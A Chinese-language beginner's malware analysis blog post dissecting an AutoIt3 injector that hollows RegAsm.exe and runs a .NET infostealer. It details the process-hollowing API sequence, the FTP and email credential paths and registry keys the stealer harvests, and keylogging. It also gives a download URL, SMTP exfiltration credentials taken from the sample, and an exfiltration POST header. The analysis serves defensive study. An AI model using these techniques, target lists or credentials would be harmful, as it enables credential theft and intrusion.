适合新手的分析报告-01

概述

该样本为Autoit3脚本编写的exe文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ypo2cQRl-1593686139300)(C:\Users\haoshaoqing\AppData\Roaming\Typora\typora-user-images\image-20200508141258482.png)]

样本hash信息如下:

文件: C:\vir\e210b447f94e45dadfa4898d86934cf8.exe
大小: 1815040 bytes
修改时间: 2020年5月7日, 10:22:34
MD5: E210B447F94E45DADFA4898D86934CF8
SHA1: 69A0916B051486B70F5BDB45FDB0F05752FF9567
CRC32: 1CD07645

样本的主体逻辑大致如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZOB0Hdkx-1593686139303)(C:\Users\haoshaoqing\AppData\Roaming\Typora\typora-user-images\image-20200513131628205.png)]

详细分析

通过对样本进行调试分析,发现样本的主要功能如下:

1. 样本自身分析

  1. 在开始时会调用IsDebuggerPresent进行反调试操作,检测了PEB中的BeingDebugger字段:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xGxqq5gp-1593686139304)(C:\Users\haoshaoqing\AppData\Roaming\Typora\typora-user-images\image-20200508143147003.png)]

  1. 分析发现该样本是一个Autoit3实现的inject,通过脚本将恶意代码注入傀儡程序RegAsm.exe,具体流程大致如下:
  • 首先会用VirtualAlloc申请一块空间,向这块空间中填充代码,并执行,这段代码主要用来创建傀儡程序并执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ksEUZpAg-1593686139306)(C:\Users\haoshaoqing\AppData\Roaming\Typora\typora-user-images\image-20200509145416479.png)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2rliRzbo-1593686139307)(C:\Users\haoshaoqing\AppData\Roaming\Typora\typora-user-images\image-20200509145853899.png)]

程序会利用动态获取API的技术获取到一些关键的API存放在栈上,防止静态分析出程序行为

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-N0WvnPfe-1593686139309)(C:\Users\haoshaoqing\AppData\Roaming\Typora\typora-user-images\image-20200508175719962.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nxK27gee-1593686139310)(C:\Users\haoshaoqing\AppData\Roaming\Typora\typora-user-images\image-20200508174209555.png)]

  • 创建傀儡进程并进行进程替换:

样本会对指定的系统进程C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe进行内存映射的操作以注入恶意代码,这部分恶意代码存在于样本的资源中

通过创建目标进程并挂起(CREATE_SUSPENDED)的方式来打开傀儡进程

在这里插入图片描述

通过函数ZwQueryInformationProcess检索到和进程相关的信息存储在栈上,然后读取了进程PEB中偏移为0x8处的四字节加载基址

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yzGtwzU8-1593686139311)(C:\Users\haoshaoqing\AppData\Roaming\Typora\typora-user-images\image-20200508181236572.png)]

​ 之后将基址和0x400000进行比较,如果相同那么使用函数ZwUnmapViewkOfSection卸载模块,防止之后对恶意代码进行映射时发生冲突
在这里插入图片描述

  • 这里注入恶意程序采用了内存映射的方法,在当前进程和傀儡进程之间建立映射关系,调用ZwUnmapViewOfSection将目标进程内存清理,然后将恶意代码的PE数据按照PE头和各区段内存依次拷贝到映射内存中(注意到内存和文件中对齐方式区别)

在这里插入图片描述

  • 数据映射完毕后,通过ZwWirteVirtualMemory将傀儡进程中的PEB的ImageBase修改为0x400000

在这里插入图片描述

  • 之后会设置傀儡进程RegAsm的主线程Context的OEP为已注入PE的OEP,最后ZwResumeThread恢复主线程,开始运行被注入的代码

在这里插入图片描述

2. 傀儡进程RegAsm分析

  1. 恶意代码dump:

在进程主线程恢复之前,在映射内存中找到OEP所在位置,然后可以将入口代码修改为EBFE(自循环),修改之前为FF25,然后新开OD进行Attach调试,将开头的代码修改回来,就可成功调试程序

在这里插入图片描述

也可以考虑直接将映射的这部分内存数据dump下来进行分析,分析发现是一个.net程序,直接选择将其拖入DnSpy进行调试分析

在这里插入图片描述

  1. 调试分析

木马进行了字符串的加密隐藏,加密字符串的入口函数为<Module>.\u200D()

在这里插入图片描述

加密算法部分内容为下:

在这里插入图片描述

加密算法功能主要是通过传入加密的索引,然后通过对一些固定值的计算,找到uint数组对象\u00A0的加密Data、Key、IV然后解密出字符串,可以考虑手动对解密函数进行编写,通过传入不同的索引来查看需要的字符串信息,如果愿意,也可以直接写脚本解混淆然后分析

3.信息的获取

分析发现木马的主要功能是获取计算机的信息,读取应用程序(浏览器)的隐私信息和配置信息,收集FTP客户端凭证信息,从本地邮件客户端获取证书以及当前计算机的进程信、键盘监控等,之后将获取到的信息打包为一个bitmap,然后用于传递

程序进入main函数后首先会获取当前计算机的信息,并生成一串唯一的标识字串

在这里插入图片描述

紧接着获取到当前计算机用户名和计算机名并拼接为字符串“Administrator/WORK-PC"

在这里插入图片描述

获取到当前计算机临时目录路径"C:\Users\Administrator\AppData\Roaming",路径之下存放当前计算机中各程序使用过程中产生的配置文件

在这里插入图片描述

利用消息钩子机制,安装消息钩子,为程序当前运行空间中的第一个模块安装钩子监控键盘信息,实现键盘监控

在这里插入图片描述
生成了一个列表,列表中的每一项是一个自定义结构体,内部有三个字段,分别为名称、目录路径、标志,列表有25项,下面列出了一部分,都是和当前计算机中各应用的隐私信息和配置信息有关,之后会通过路径去获取信息,不过当前虚拟机大部分目录不存在

在这里插入图片描述

之后去获取需要的全部信息,将得到信息AddRang入一个list中,获取的信息有:

依据目录读取文件

在这里插入图片描述

在这里插入图片描述

打开相应的注册表键,读取注册表信息,分析发现读取的信息中有ftp客户端相关、电子邮件客户端相关:

在这里插入图片描述

读取信息:

ftp列表如下:

\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\

\AppData\Roaming\CoreFTP\sites.idx

\AppData\Roaming\FTPGetter\servers.xml

\AppData\Roaming\Ipswitch\WS_FTP\Sites\ws_ftp.ini

\AppData\Roaming\FileZilla\recentservers.xml

HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites

HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

邮件相关:

\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\

\AppData\Roaming\Thunderbird\profiles.ini

上述所有获取到的信息会被存储为一个bitmap位图文件,并将其存入一块内存中,用于之后进行信息的传递

在这里插入图片描述

  1. 通信操作:
  • 满足条件后会去URL http://vYBBpl.com下载资源,下载的文件存储在 C:\windows\temp\wEa目录下

在这里插入图片描述

  • 创建Smtp邮件服务客户端进行通(主要利用方式

用户名:behbahani@aiotecs.com

密码:#s!#Wtc3

在这里插入图片描述

传送邮件双方信息,主要是发送一份带有附件信息的邮件,附件格式为applization/zip,zip中打包存储了

From:behbahani@aiotecs.com

To:text/html(未配置)

  • 创建ftp客户端,传递信息

%ftphost% (未配置)

用户名:%ftpuser%

密码:%ftppassword%

在这里插入图片描述

  • 建立http链接,发送获取到的信息,POST请求,通过表单提交的方式ContentType=“application/x-www-form-urlencoded”,URL地址为 %PostURL%

在这里插入图片描述
完整的http头如下:

POST /search HTTP/1.1
Context-type: application/x-www-form-urlencoded
HOST: %PostURL%
User-Agent: Mozilla/5.0 (Windows;U;Windows NT 6.1;ru;rv:1.9.2.3) Gecko/20100401 Firefox/4.0(.NET CLR 3.5.30729)
Connection: Keep-Alive

Context-type: application/x-www-form-urlencoded
HOST: %PostURL%
User-Agent: Mozilla/5.0 (Windows;U;Windows NT 6.1;ru;rv:1.9.2.3) Gecko/20100401 Firefox/4.0(.NET CLR 3.5.30729)
Connection: Keep-Alive

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值